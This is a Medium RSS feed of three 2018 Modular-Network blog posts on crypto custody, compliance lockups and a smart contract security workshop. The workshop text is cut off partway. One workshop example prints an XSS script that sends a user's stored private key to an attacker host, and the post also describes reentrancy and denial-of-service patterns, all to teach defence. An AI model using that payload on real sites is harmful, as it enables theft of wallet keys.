<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Modular-Network - Medium]]></title>
        <description><![CDATA[Secure Ethereum systems and cryptocurrency adoption - Medium]]></description>
        <link>https://medium.com/modular-network?source=rss----7aa66edd3fc8---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Modular-Network - Medium</title>
            <link>https://medium.com/modular-network?source=rss----7aa66edd3fc8---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 12:02:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/modular-network" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Why You Probably Shouldn’t Use a Single Private Key to Secure Your Assets]]></title>
            <link>https://medium.com/modular-network/why-you-probably-shouldnt-use-a-single-private-key-to-secure-your-assets-cc7df87b30a?source=rss----7aa66edd3fc8---4</link>
            <guid isPermaLink="false">https://medium.com/p/cc7df87b30a</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[privacy]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[bitcoin]]></category>
            <dc:creator><![CDATA[Joshua Hannan]]></dc:creator>
            <pubDate>Fri, 29 Jun 2018 14:38:58 GMT</pubDate>
            <atom:updated>2018-08-13T18:18:56.164Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Reasons why it is unreasonable to expect yourself and everyone else in the world to only have one fragile layer of security for their assets</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*W65-DR2esMrCvm0Ig8pMpg.jpeg" /></figure><h4>Let me tell you a story….</h4><p>Matthew Mellon [1] was a guy who had high hopes for the cryptocurrency Ripple (XRP). He saw Ripple as a great step forward for the future of American banking. Matthew was one of the first investors in Ripple, and would buy more over the years as the popularity (and price) grew.</p><p>As Matthew acquired more XRP, he separated his holdings into a few different accounts.</p><blockquote>Matthew Mellon held almost all of his fortune in Ripple in cold wallets all around the country, with no one else knowing the codes to the wallets. A cold wallet is a vault that is not connected to the internet for safety measures, to avoid hacks or breaches.</blockquote><p>Matthew is a smart guy! He is a millionaire who made sure he knew how to manage his crypto holdings himself, keeping his access codes in his head to stay safe from pesky hackers stealing them from a bank.</p><p>His XRP will never get taken by anyone! Even himself!</p><p>…</p><p>huh? himself?</p><p>…</p><p>Oh yeah. I forgot to mention that Matthew Melon died of a heart attack on April 16th. And when he died, his $500 million in XRP essentially died with him. The XRP is still there! But unfortunately, anyone who wants to access it will need those access codes that are only stored in electrical signals in Matthew’s brain, which disappeared in April.</p><p>While Matthew’s story might be the first instance of an extremely rich family losing all their cryptocurrency because of a death, it is by no means the first time anyone has been burned from relying on a single private authorization key to secure an account on a blockchain. Unsurprisingly, this is one of the biggest causes of lost or stolen cryptocurrency.</p><p>According to The Anti-Phishing Working group’s research, over <strong>$1.2 billion of crypto-assets have been stolen or lost since the beginning of 2017.</strong></p><p>This is unacceptable! How could all of this value have been lost? Lets look at some of the reasons.</p><p><strong>Lost private keys:</strong> Someone stores their private key either in their brain, on a piece of paper, locally on their computer, or in a hardware wallet. Through one reason or another, it is forgotten, deleted, or lost and nobody can ever access the funds ever again.</p><p><strong>Phishing attacks: </strong>A very bad person gains the trust of the owner of the private key and somehow convinces them to reveal the key. The very bad person then uses the key to steal all of the victim’s assets secured by that key.</p><p><strong>Deaths: </strong>Like Matthew’s case above, the only person who knows the keys dies and the knowledge, and therefore access, to the cryptoassets is lost forever.</p><p><strong>Private key hacks: </strong>An unsuspecting victim stores their private key insecurely on one of their devices and a clever hacker finds a way in and steals the key. With this key, the hacker can access the victim’s account and steal all their cryptoassets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/1*tOESAZSkdh01dgSKSs6flQ.gif" /><figcaption>There is definitely a pattern here!</figcaption></figure><h3>The single-key problem</h3><p>All of these issues happen because of some unfortunate or irresponsible circumstance that takes advantage of the fact that there is only one layer of security protecting a user’s assets, and there are no take-backs in this world.</p><p>Now, some of you might be reading this thinking, “Hrmph! I am incorruptible, invincible, and unable to ever make a mistake!”</p><p>Let me be clear, there are plenty of people in the world who are perfectly capable of controlling their own private key and managing it completely on their own, be that with a hardware wallet, cold wallet, or some other solution. And in a perfect world, we all would be able to do that and nobody would try to steal from anyone!</p><p>Unfortunately, we live in a world where the vast majority of the population has more important things to worry about than using a bunch of extra brain power and work to secure their keys.</p><p>You might be the kind of person who wants complete control, and that is completely fair, but I think we can all agree that most humans (including myself) can be irresponsible, forgetful, or simply too busy to be bestowed with this kind of responsibility.</p><h4>It is obvious that it is unreasonable to expect everyone to have one authorization key and be able to keep it safe and secure themselves.</h4><p>This indroduces an issue though. Ethereum is based around accounts being associated with just one key, so adding additional layers of security complexity could be risky and challenging.</p><h3>How are existing solutions solving this issue?</h3><p>There are a few offerings out there that acknowledge this issue and look to provide solutions that are safer and easier than a single key solution. Unfortunately, they mostly aren’t good enough to satisfy all the security requirements that users need while also providing complete and a good user experience.</p><p><strong>Solution #1: Centralized storage</strong></p><p><strong>Company controls your crypto account on your behalf, similar to a traditional bank. </strong>You sign into a centrally managed system with a traditional password and tell the company to sign transactions for you.</p><p><strong>Pros:</strong></p><ul><li>OK approach for simply passively holding financial assets</li><li>Can be secure when done correctly (but rarely is)</li><li>Simplifies some of the blockchain technical aspects</li></ul><p><strong>Challenges:</strong></p><ul><li>Requires trust in third party. If they lose access to your account (private keys) or are hacked, you lose your assets</li><li>Limited to no management functionality — difficult to use assets outside of just holding them</li></ul><p><strong>Solution #2: Multi-Sig Wallets Controlled by multiple people</strong></p><p><strong>You and other friends/colleagues each have Ethereum accounts controlled by one private key which are used as authorization signatures in a multisig wallet. </strong>You each control your accounts single private key in the normal way, but don’t hold any funds besides what is needed to execute transactions.</p><p><strong>Pros:</strong></p><ul><li>Only a subset of the signatures is required, protecting against death or lost signatures.</li><li>Control lies with the owners and not a third party.</li><li>Lost or stolen keys can be changed to protect against theft</li></ul><p><strong>Challenges:</strong></p><ul><li>Smart contracts required to implement this can be complicated, which can introduce complexity and unintended behavior that might cause a vulnerability.</li><li>Hard to interact with decentralized applications when multiple people are required to execute transactions.</li><li>User experience is still suboptimal, requiring technical knowledge to handle</li></ul><p>As you can see, the existing solutions can work in certain situations, but all have drawbacks. Is there a way we can have all the pros of these solutions, but none of the cons?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*ttxBTM5pgIzdL0N1kSQfUg.gif" /><figcaption>Musn’t be afraid to dream a little bigger, darling….</figcaption></figure><p>Challenging problems require novel solutions</p><h3>EIP-191 and Our Solution</h3><p>The answer is yes, and it involves an interesting contract standard you might have heard of called <a href="https://github.com/ethereum/EIPs/blob/master/EIPS/eip-191.md">EIP-191: Signed Data Standard</a>. This is a standard that separates the signing of transactions from the sending, allowing for some novel ways to interact with the Ethereum blockchain. This standard allows a contract to accept presigned data by the different keys associated with it and it is the central technology that underpins our upcoming cryptoasset custody application.</p><p>We are building a desktop wallet application which uses a unique protocol that requires messages to be signed by multiple private keys. This protocol pieces messages together using an enhanced version of EIP-191. Additionally, we enact transactions through a custom smart contract assigned to each user which understands this protocol. The user’s assets are maintained within this contract and can only be accessed by the requisite private keys assigned to it.</p><p>Unlike other multisigs though, this contract/account is only managed by one person! This is because we want to keep this level of security, but also give our users options for how they secure their keys, while never taking complete control of it ourselves.</p><p>These private keys can be maintained in a variety of configurations which run the spectrum from decentralization to centralization, depending on the level of responsibility the user is comfortable with:</p><ol><li><strong>Total Control:</strong> The user maintains complete control of all private keys: These keys are encrypted and stored locally on the users device. The password that the user enters to sign into the application is used to decrypt the user profile that is stored locally.</li><li><strong>Partial Control with 2FA:</strong> The user maintains primary private keys and the applicatin maintains supporting private keys utilizing our 2-Factor Authentication. The 2-Factor Authentication code is what authorizes the second key to sign a transaction.</li><li><strong>Partial Control with Third-Party</strong>: The user maintains the primary private key and stores a secondary key with a trusted third-party which automatically authorizes transactions.</li></ol><p><strong>With all of these solutions, the keys are always encrypted, stored locally, and handled by the application, removing the need for users to worry about handling their keys at all.</strong></p><p>A unique feature of our contracts is that all message signing takes place off -chain, with the final message being forwarded to the contract afterward. This gives us the flexibility for users to maintain private keys themselves in several locations distributing signing mechanisms throughout an intranet of personal contacts, for instance, enhancing ownership and security.</p><p><strong>How does this solve the problems of the other solutions?</strong></p><p>As you can see, the flexibility of control this setup offers to users is unparalleled by current offerings. Our solution uses this technology to provide users with an even more secure and user friendly wallet experience.</p><p>Since we separates transaction signing and spending, users do not have to worry about specifying and paying for transaction fees within the system, thus alleviating a technical hurdle that many wallet users are very confused about in other solutions. The application actively monitors, manages, and pays for transactions fees under the hood in order for transactions to be sent and processed in a timely manner.</p><p>Additionally, Because of the power of multisig wallets, there’s no problem if one of the private keys is lost or exposed. Using the other keys, the compromised key can be recovered or changed to protect against user error and unexpected deaths.</p><p>And lastly, this multisig wallet setup is a very low-complexity smart contract, meaning that the attack surface is very small with almost no room for possible vulnerabilities.</p><h3>The path forward</h3><p>As opportunities in blockchain and cryptoassets have grown significantly, more and more people and businesses are entering the space. There is a real threat of technical inexperience resulting in lost funds, and the average user cannot be trusted to manage their own private keys. Modular is working diligently to give businesses and users the management tools to solve these and other challenges.</p><p>If Matthew Mellon and more users had a sophisticated tool like what is described here, maybe we wouldn’t have already lost so much money!</p><p>This was just a small taste of the security and functionality features that we will offer. Stay tuned and subscribe for more updates and product announcements from Modular. We’ll be detailing more features we offer in upcoming posts in the Modular publication, so make sure to follow in order to receive updates!</p><p><strong>Our Vault application is currently being alpha tested</strong> (!) — if you are a business or team interested in a versatile custody solution that solves many of the challenges related to custody and management of cryptoassets within a business, please reach out to <strong>joshua@modulartech.io.</strong></p><p>You can also connect with us on:</p><p><a href="https://modulartech.io/">Our Website</a></p><p><a href="http://discord.gg/sMu6Des">Discord</a></p><p><a href="https://twitter.com/">Twitter</a></p><p><a href="https://medium.com/modular-network">Medium</a></p><p><a href="https://www.facebook.com/modularnetwork/">Facebook</a></p><p><a href="https://www.linkedin.com/company/modular-network/">Linkedin</a></p><p>References:</p><p>[1] <a href="https://www.btcnn.com/crypto-millionaire-matthew-mellon-dies-leaving-more-than-500-million-lost/">https://www.btcnn.com/crypto-millionaire-matthew-mellon-dies-leaving-more-than-500-million-lost/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc7df87b30a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/modular-network/why-you-probably-shouldnt-use-a-single-private-key-to-secure-your-assets-cc7df87b30a">Why You Probably Shouldn’t Use a Single Private Key to Secure Your Assets</a> was originally published in <a href="https://medium.com/modular-network">Modular-Network</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Can we use smart contracts to prevent employee insider trading?]]></title>
            <link>https://medium.com/modular-network/can-we-use-smart-contracts-to-prevent-employee-insider-trading-a0f300c571a4?source=rss----7aa66edd3fc8---4</link>
            <guid isPermaLink="false">https://medium.com/p/a0f300c571a4</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[token-sale]]></category>
            <category><![CDATA[fintech]]></category>
            <category><![CDATA[blockchain]]></category>
            <dc:creator><![CDATA[Joshua Hannan]]></dc:creator>
            <pubDate>Tue, 19 Jun 2018 19:06:25 GMT</pubDate>
            <atom:updated>2018-08-11T22:25:40.893Z</atom:updated>
            <content:encoded><![CDATA[<p>At <a href="https://modular.network/">Modular</a>, we are very excited to see the growth and maturity of blockchain-based assets (cryptoassets). More and more stakeholders are entering the space and seeing it as an asset class worth considering, both at the retail and institutional level. With this transition comes increased attention from government and regulatory bodies seeking to ensure fairness and rule of law in these emerging markets. How can companies possibly avoid the pitfalls that other noble players have fallen victim to?</p><p>This question has been central to our thought process and development of our upcoming cryptoasset custody technology. It pains whenever we see another company or user fall victim to the complicated regulatory environment we live in.</p><p>As cryptoassets continue to gain adoption and attention, companies seeking to interact with this new asset class will need to understand and embrace the underlying technologies in order to stay safe and compliant with local and federal laws.</p><p><a href="https://www.reuters.com/article/us-crypto-currency-conflicts/compliance-officers-sweat-as-cryptocurrency-trades-go-mainstream-idUSKBN1FQ0L1">Reuters recently wrote</a> that compliance officers are worried about how to remain compliant with local and national laws when their companies get involved with cryptoassets. These organizations have identified some of the large opportunities that exist with cryptoassets, but don’t want to engage in any activity that will put them at odds with governments and regulators.</p><p>Reuters notes:</p><blockquote>There is also an absence of clear rules from global regulators, making it harder for financial companies to set their own. The U.S. Commodity Futures Trading Commission considers bitcoin a commodity, while the U.S. Securities and Exchange Commission says some cryptocurrencies may be securities without specifying which ones.</blockquote><p>This lack of clear regulatory guidance puts companies interested in cryptoassets in a difficult situation. Some potential violations, such as needing a securities license, may be relatively easy to spot. But other legal or regulatory pitfalls may be harder to track and avoid.</p><h4>An Example: Token A</h4><p>Take for example a situation where cryptoasset <strong>‘Token A’</strong> has ambiguous status somewhere between a ‘<em>utility token</em>’ (not subject to securities regulation) and a ‘<em>security</em>’ (subject to many different rules and laws).</p><p>Hypothetical <strong>‘Finance Company’</strong> has been interacting with Token A as part of its business, including exchanging the asset on behalf of clients. If a <a href="https://www.sec.gov/ICO">regulatory body</a> within the same legal jurisdiction of Finance Company declares Token A to be a security, Finance Company could be in violation of multiple securities laws, including those around licensing requirements, insider trading and others.</p><p>For traditional asset classes like equities, we have clear and established regulations that make it easier for companies to track and prevent things like insider trading or improper transfer. But in cryptoassets, where legal guidelines are still evolving, it is much more difficult to stay compliant.</p><h4>Enforce Rules with Smart Contracts</h4><p>Thankfully, the underlying technology of cryptoassets has provided us a solution to this problem: <strong>smart contracts</strong>.</p><p>Smart contracts, snippets of programmable logic that can be hard-wired into blockchains that support them (e.g. Ethereum), can be written so that rules and regulations are enforced at the token (asset) and protocol (technology) level.</p><p>This is a huge benefit to both the companies wanting to interact with cryptoassets and the regulators seeking compliance. Smart contracts can not only remove the need for continuous compliance checking, but are able to eliminate the need for compliance checks in the first place.</p><p>Imagine that you own a company who wants to raise funds using a cryptoasset token, <strong>‘CompanyCoin’</strong>. Your legal and regulatory counsel has advised that you utilize <a href="https://www.sec.gov/fast-answers/answers-rule504.html">Rule 504 of Regulation D</a>, which provides an exemption to the normal registration requirements assuming certain conditions are met. One of those conditions is that CompanyCoin is a restricted security, meaning it can’t be sold for at least six months to a year without going through securities registration.</p><p>In the current state of the cryptoasset market, preventing all of the participants of the CompanyCoin offering from violating this 6–12 month restricted lockup rule is a difficult and labor-intensive process.</p><p>Yet, with smart contracts this is a relatively easy problem to solve.</p><p>Instead of issuing CompanyCoin directly to users’ personal cryptoasset wallets, which gives way to track or prevent assets from being transferred or sold unlawfully, CompanyCoin can be distributed directly into a smart contract that locks the asset’s movement for a specified time period, ensuring that your company and employees are compliant with Rule 504 of Regulation D.</p><h4>The path forward</h4><p>As opportunities in blockchain and cryptoassets have grown significantly, regulation and compliance tools have not kept pace. There is a real threat of legal or regulatory liability when businesses interact with assets that may be considered securities. With our technology, Modular is working diligently to give banks and users the management tools to solve these challenges and many others.</p><p>Stay tuned for more updates and product announcements from Modular. We’ll be detailing more features of our technology in upcoming posts in the modular publication, so make sure to follow in order to receive updates!</p><p>If you are a bank or team interested in a versatile custody solution that solves many of the challenges related to custody and management of cryptoassets. please reach out to <strong>contact@modulartech.io</strong></p><p>You can also connect with us on:</p><p><a href="https://modulartech.io/">Our Website</a></p><p><a href="http://discord.gg/sMu6Des">Discord</a></p><p><a href="https://twitter.com/">Twitter</a></p><p><a href="https://medium.com/modular-network">Medium</a></p><p><a href="https://www.facebook.com/modularnetwork/">Facebook</a></p><p><a href="https://www.linkedin.com/company/modular-network/">Linkedin</a></p><p><em>Thanks to </em><a href="https://medium.com/u/9504cccc65eb"><em>C. Brown</em></a><em> and </em><a href="https://medium.com/u/c62b47938824"><em>Alex Treece</em></a><em> for help on this post!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a0f300c571a4" width="1" height="1" alt=""><hr><p><a href="https://medium.com/modular-network/can-we-use-smart-contracts-to-prevent-employee-insider-trading-a0f300c571a4">Can we use smart contracts to prevent employee insider trading?</a> was originally published in <a href="https://medium.com/modular-network">Modular-Network</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Smart Contract and DApp Security]]></title>
            <link>https://medium.com/modular-network/introduction-to-smart-contract-and-dapp-security-556502629d54?source=rss----7aa66edd3fc8---4</link>
            <guid isPermaLink="false">https://medium.com/p/556502629d54</guid>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Joshua Hannan]]></dc:creator>
            <pubDate>Tue, 20 Feb 2018 17:40:24 GMT</pubDate>
            <atom:updated>2018-02-20T17:40:37.909Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This is a transcript of a workshop I led at </em><a href="https://ethdenver.com/"><em>ETHDenver</em></a><em> with </em><a href="https://twitter.com/jessicica14"><em>Jessica Marshall</em></a><em>, </em><a href="https://medium.com/u/d9faed34fd6c"><em>William Dias</em></a><em>, and </em><a href="https://medium.com/u/9504cccc65eb"><em>C. Brown</em></a><em>. You can see the video of it on their</em><a href="https://www.facebook.com/pg/ETHDenver/videos/?ref=page_internal"><em> facebook page.</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yj6Ev_j2LYMBNpeCdk2PdA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1xB3SpaJ7UCKgWS3jFkqPg.jpeg" /><figcaption>Look at those amazing Engineers!</figcaption></figure><p>Smart contract and dapp programming is a new paradigm that requires us as developers to behave differently than before. The old facebook adage of move fast and break things does not work in this new paradigm. With the risks inherent to this type of development, we all need to learn to take a slow and methodical approach to building our applications, using care and consideration while designing and coding. We also cannot put ourselves under undue pressure to meet strict deadlines. It is kind of ironic that I was giving this talk at a hackathon!</p><p>If building most traditional webapps is similar to a minute clinic, then blockchain is more comparable to an Emergency Room. Some issues are small, but most of them are extremely hard to fix once you get past a certain point, if at all, and every possible negative outcome has to be accounted for. If not, you could be facing dire consequences. Before I get into specific lessons, I would like to reiterate some of the aspects of the technology that force us to be so careful.</p><h4>All code is public</h4><p>This poses an issue for a few different reasons. Firstly, since anyone can see your code, it should be obvious that there should be no sensitive personal information recorded in the smart contract. Sure, wanting to run user data analytics on chain is a noble cause, but that might not sound very good to your new user Johnny because his browser history was just exposed to the world!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2fOR_zL7qeAhyQR94SvkRA.png" /><figcaption>uh oh</figcaption></figure><p>Your smart contract and its associated storage should only be storing the information that is absolutely necessary for the contract to function correctly.</p><p>Second, and more importantly, all of your source code is visible to the public. That means every all-star hacker sitting in his basement has all the time and freedom in the world to comb through every single line looking for bugs. No hiding behind pre-compiled binaries this time.</p><h4>Gas Limit</h4><p>As I am sure most of you know, computation on the Ethereum blockchain is expensive and there is also a limit! This can pose a problem when you have logic in your contract that has the potential to be manipulated in a way that causes a lot of gas to be consumed. Loops are a common cause of this.</p><p>And lastly, but most importantly:</p><h4>Immutability</h4><h4>All code executes exactly according to how it was programmed, and barring a DAO-level hard fork, actions taken on the blockchain are immutable</h4><p>So no takesies backsies. THIS is how we ensure trustlessness. We program trust into our code so that we can trust it, not each other. In fact, I’m starting to trust smart contracts more that I trust some humans. Smart contracts won’t lie to you, smart contracts won’t cheat on you, and smart contracts won’t post angry tweets about North Korea at 2am on a Tuesday.</p><p>I, for one, welcome our eventual global blockchain overlords.</p><p>But before we get to that point, we gotta be the ones doing the building! Our smart contracts should be hacker-proof, script-proof, and even tech illiterate grandma-proof. If our tech-illiterate grandma accidentally posts her google search for hemorrhoid cream to Facebook, its not a huge deal, we can just delete it. But if she exposes her public key because of a poorly written smart contract, there is not much we can do. And her tech-savvy nephew Johnny can’t help her because he’s too busy trying to delete his browser history from the blockchain!</p><p>We gotta assume everyone is a tech-illiterate granny and be as thorough as possible making sure that functions are called correctly and operations are performed without error, because you never know, some guy messing around with your multi-sig wallet library with millions of dollars in Ether might just accidentally take ownership and suicide the whole thing.</p><p>I’m going to go through a few examples of vulnerabilities you should prepare against, and we’ll have some exercises to get everyone involved.</p><p>Lets get ready to diagnose some application and smart contract vulnerabilities.</p><h3>Application Examples and Reccomendations</h3><p><em>by </em><a href="https://medium.com/u/d9faed34fd6c"><em>William Dias</em></a></p><p>Time for our first patient. This one is named, “Application Security.” Let’s start with some background.</p><p>This is a Decentralized gaming platform:</p><ul><li>This is a browser-based application</li><li>Game devs can openly publish their games (dapps running on the ethereum network)</li><li>Players can sign up to the dapp and choose from a variety of games to play (and eventually spend their ETH in virtual goods).</li><li>New wallets are created at signup (no need for Mist/Metamask in this case).</li><li>Wallet keys are stored into player’s browser for authentication/micro-payments purposes.</li></ul><p>As you can see, this seems like a great place for developers to publish and connect with players all through one platform.</p><p>Unfortunately, when one game, HODL QUEST, is published, users who download it immediately start losing ether from their wallets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rsQlUsCveDIDtkjIgCLX4w.png" /></figure><p>Where did the ether go? Let’s examine some of the aspects of the platform to find out.</p><ul><li>The problem was caused by a new game published a few hours ago (HODL QUEST)</li><li>Wallet funds are gone seconds after opening the game for the first time</li><li>During game registration the developer enters a name, smart contract address and URL for the dapp in a form inside the platform</li><li>The platform embeds the game iframe into the dapp while displaying the game name at the top of the page.</li></ul><p>You can start to see where this is going… After further inspection we found that the game developer for HODL QUEST injected an inline script into the game title during registration. So looking closely at the game html code, we found something like this:</p><pre>&lt;h1&gt;HODL &lt;script&gt;$.post(‘https://haxxx.lol/’, localStore.getItem(‘privateKey’));&lt;/script&gt; QUEST&lt;/h1&gt;</pre><p>The player’s browser ends up evaluating the javascript snippet inserted at the game title and sending the player’s private keys to attacker remote servers.</p><p>This is just one of many issues that could arise as we are building decentralized applications. Here is a checklist of things to keep in mind as you’re building these projects.</p><ul><li><strong>Protect wallets and private keys:</strong> If user’s wallets are compromised, this is game over. Extreme care needs to be taken when handling this sensitive information.</li><li><strong>Protect user information:</strong> Users do not want their personal data being exposed to the world. Ensure that user data remains private.</li><li><strong>Evaluate wisely what needs to be stored in the blockchain or in your servers.</strong> Only include data that is absolutely necessary for you smart contracts to function within the contracts themselves.</li><li><strong>Use HTTPS:</strong> This is standard practice and should be obvious</li><li><strong>.gitignore sensitive files:</strong> Another way to protect yourself from accidentally revealing a vulnerability</li><li><strong>Do not insert access/API keys into your code.</strong></li><li><strong>Ask for 2FA when performing critical/risky tasks inside the dapp: </strong>Actions taken on the blockchain are immutable so having an extra layer of security is very important.</li></ul><p>Your application’s security is just as important as your smart contracts’ security and should always be on your mind.</p><h3>Smart Contract Race Conditions</h3><p><em>by </em><a href="https://twitter.com/jessicica14"><em>Jessica Marshall</em></a></p><p>What is a Race Condition? A race condition is the behavior of an electronics, software, or other system where the output is dependent on the sequence or timing of other uncontrollable events. It becomes a bug when events do not happen in the order the programmer intended. This is the root of many vulnerabilities in Ethereum smart contracts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eEzE7W_zC52taFmHNCry8g.png" /><figcaption>A silly example of a race condition</figcaption></figure><p>There are a few different ways race conditions pop up in Ethereum smart contracts. In this post, we’ll focus on two common situations. Reentrancy and transaction order front-running.</p><h4>Reentrancy</h4><p>A computer program is called <strong>reentrant</strong> if it can be interrupted in the middle of its execution and then safely be called again (“re-entered”) before its previous invocations complete execution. This can show up in smart contracts when making external calls to other contracts because they can potentially call back into the original function before the original call finishes. How is this possible, you ask?</p><p>Enter <strong>fallback functions, </strong>which are functions that are invoked when Ether is sent to your contract without providing a function name to call.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S8fC4ujv-KFL17ZY_loSDw.png" /></figure><p>In this example, when the withdraw function sends ether with the <em>address.call.value() </em>method, it triggers the BankRobber’s fallback function, which can then call the withdraw method again. As you can see, this will cause the Bank contract to send Ether over and over again potentially draining the Bank of all its ether!</p><p>How can we prevent this? There are a few different ways. The first relies on our understanding of the difference between send, transfer, and call.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n_y3GoeWnW93zOEp9ARA_A.png" /><figcaption>SO MANY OPTIONS</figcaption></figure><p>As you can see from the chart above, there are many different ways to send Ether, but most of the time, you’ll want to use address.transfer. This is because transfer only forwards 2300 gas and reverts if the transaction uses up all the gas. This way, if a malicious contracts attempts to reenter your contract, the gas will be used up and the entire transaction will be reverted.</p><p>There are situations where using send or call would make sense, but you need to be extra careful when using these because it would only be in special situations when you feel very comfortable about what the contracts you are sending ether to are doing. 99% of the time, transfer is the correct path to take.</p><p>Another way to prevent against reentrancy is to update state before making external calls and perform checks in your contract to make sure that the state represents the transaction that is about to be performed.</p><h4>Transaction Ordering Front-Running</h4><p>Another situation where race conditions rear its ugly head is front running. This happens because of the public nature of the blockchain. If you’re running an auction or similar mechanism in your smart contracts, bids might be able to be manipulated because the bids exist in the unconfirmed transaction pool before they are executed. In this period of time, other malicious actors can monitor the pool and send transactions that undermine bids that have already been sent. Additionally, miners can reorder transactions in a block to give malicious transactions priority.</p><p>There are a few different ways to prevent manipulation like this. One is a batch auction and another is a <a href="https://karl.tech/learning-solidity-part-2-voting/">commit and reveal scheme</a> where bidders send hashes of their bids so they aren’t revealed until after they are confirmed.</p><p>Lets try to save another patient.</p><p>This a contract that does a king of the hill game where people can send ether to a contract to become the new king. When someone new becomes the king, the old king gets sent the contract’s ether. Can you find the vulnerability?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HwnDiOXoRTrFhnTeQcLChQ.png" /></figure><p>Reentrancy isn’t an issue, but there is something a little bit more “watch the world burn-y” in this vulnerability. In this example, a contract to become king and then in their fallback function, they could revert. This causes every future transaction that tries to make a new owner fail, essentially shutting down the contract. This is a great example from Ethernaut, which has exercises to explore smart contract security. You can see a more detailed description of the vulnerability <a href="https://medium.com/@christian.ruink/ethernaut-king-problem-2ccec1ee4190">here.</a></p><p>These examples show that when making external calls, you should never assume that the contract you are invoking is trusted. Always take care to prevent against every possible negative outcome that an attacker could attempt.</p><h3>Additional Smart Contract Best Practices to be Aware of</h3><h4>Fallback Functions</h4><p>Fallback functions are useful because they contain the code that is invoked when Ether is sent to your contract. But they can’t handle everything.</p><p>First of all, fallback functions only have access to 2,300 gas when triggered from a transfer function, so logic needs to be very simple in order to not run into an out of gas error.</p><pre>// example of a fallback function when<br>// you don&#39;t want Ether to be sent to a contract<br>function () payable {<br>  revert()<br>}</pre><p>There is a catch! fallback functions do not trigger when ether is forcibly sent to a contract.</p><pre>contract ForceSend() {</pre><pre>  function ForceSend() {</pre><pre>  // sends ETH to victim without triggering the fallback function<br>  function destroy() {<br>    selfdestruct(victim);<br>  }<br>}</pre><p>The selfdestruct function sends the contract’s ether to the victim address. This send does not trigger the fallback function in the contract. Receiving free Ether is nice, but because of this, you need to avoid directly checking the balance of a contract and expecting it to be a certain value, because it might actually be greater than you thought!</p><h4>Integer Arithmetic</h4><p>Unlike most modern architectures, the EVM does not handle floating point numbers or arithmetic operations. All number storage and arithmetic is handled with integers. What does this mean? It means there is no point in your contract where you can store anything as a decimal or do operations that would normally return a decimal, like finding percentages and such. Lets look at an example.</p><p>Imagine you are creating a token sale smart contract that gives buyers a bonus purchase based on how much time has passed in the sale. It might look something like this.</p><pre>/// snippet from contract code<br>function calculatePrice() returns (uint256) {<br>  uint percentTimePassed = (now - startTime)/(endTime - startTime);</pre><pre>  uint price = (1-percentTimePassed)*basePrice + basePrice;</pre><pre>  return price;</pre><pre>}</pre><p>As you can see, in a traditional language, this would be fine. The percentage of time passed would be calculated as a decimal between zero and one and then applied to the price.</p><p>Unfortunately, this doesn’t work with integer arithmetic. If a operation is done incorrectly, you could image some situations where an incorrect percentage would result in some serious issues.</p><p>In Solidity, you would have to do something like this:</p><pre>/// snippet from contract code<br>function calculatePrice() returns (uint256) {<br>  uint percentTimePassed = 100*(now - startTime)/(endTime - startTime);</pre><pre>  uint price = ((1-percentTimePassed)*basePrice)/100 + basePrice;</pre><pre>  return price;</pre><pre>}</pre><p>This way, the percentage is calculated as an integer between 0 and 100, applied to the base price, and then divided by 100 to fix the “decimal place” to the correct point. This is a somewhat crude way to calculate the percentage because it sacrifices some precision, but is necessary based on how the EVM operates. You can get better precision by multiplying by larger multiples of 100, but that is a decision that depends on the context of the contract.</p><h4>Integer Overflow/Underflow</h4><p>According to <a href="https://en.wikipedia.org/wiki/Integer_overflow">Wikipedia</a>, an <strong>integer overflow</strong> occurs when an arithmetic operation attempts to create a numeric value that is outside of the range that can be represented with a given number of bits — either larger than the maximum or lower than the minimum representable value. Most languages have ways to account for this issue, but Solidity cannot handle overflow checking on its own. This has caused issues in the past with a 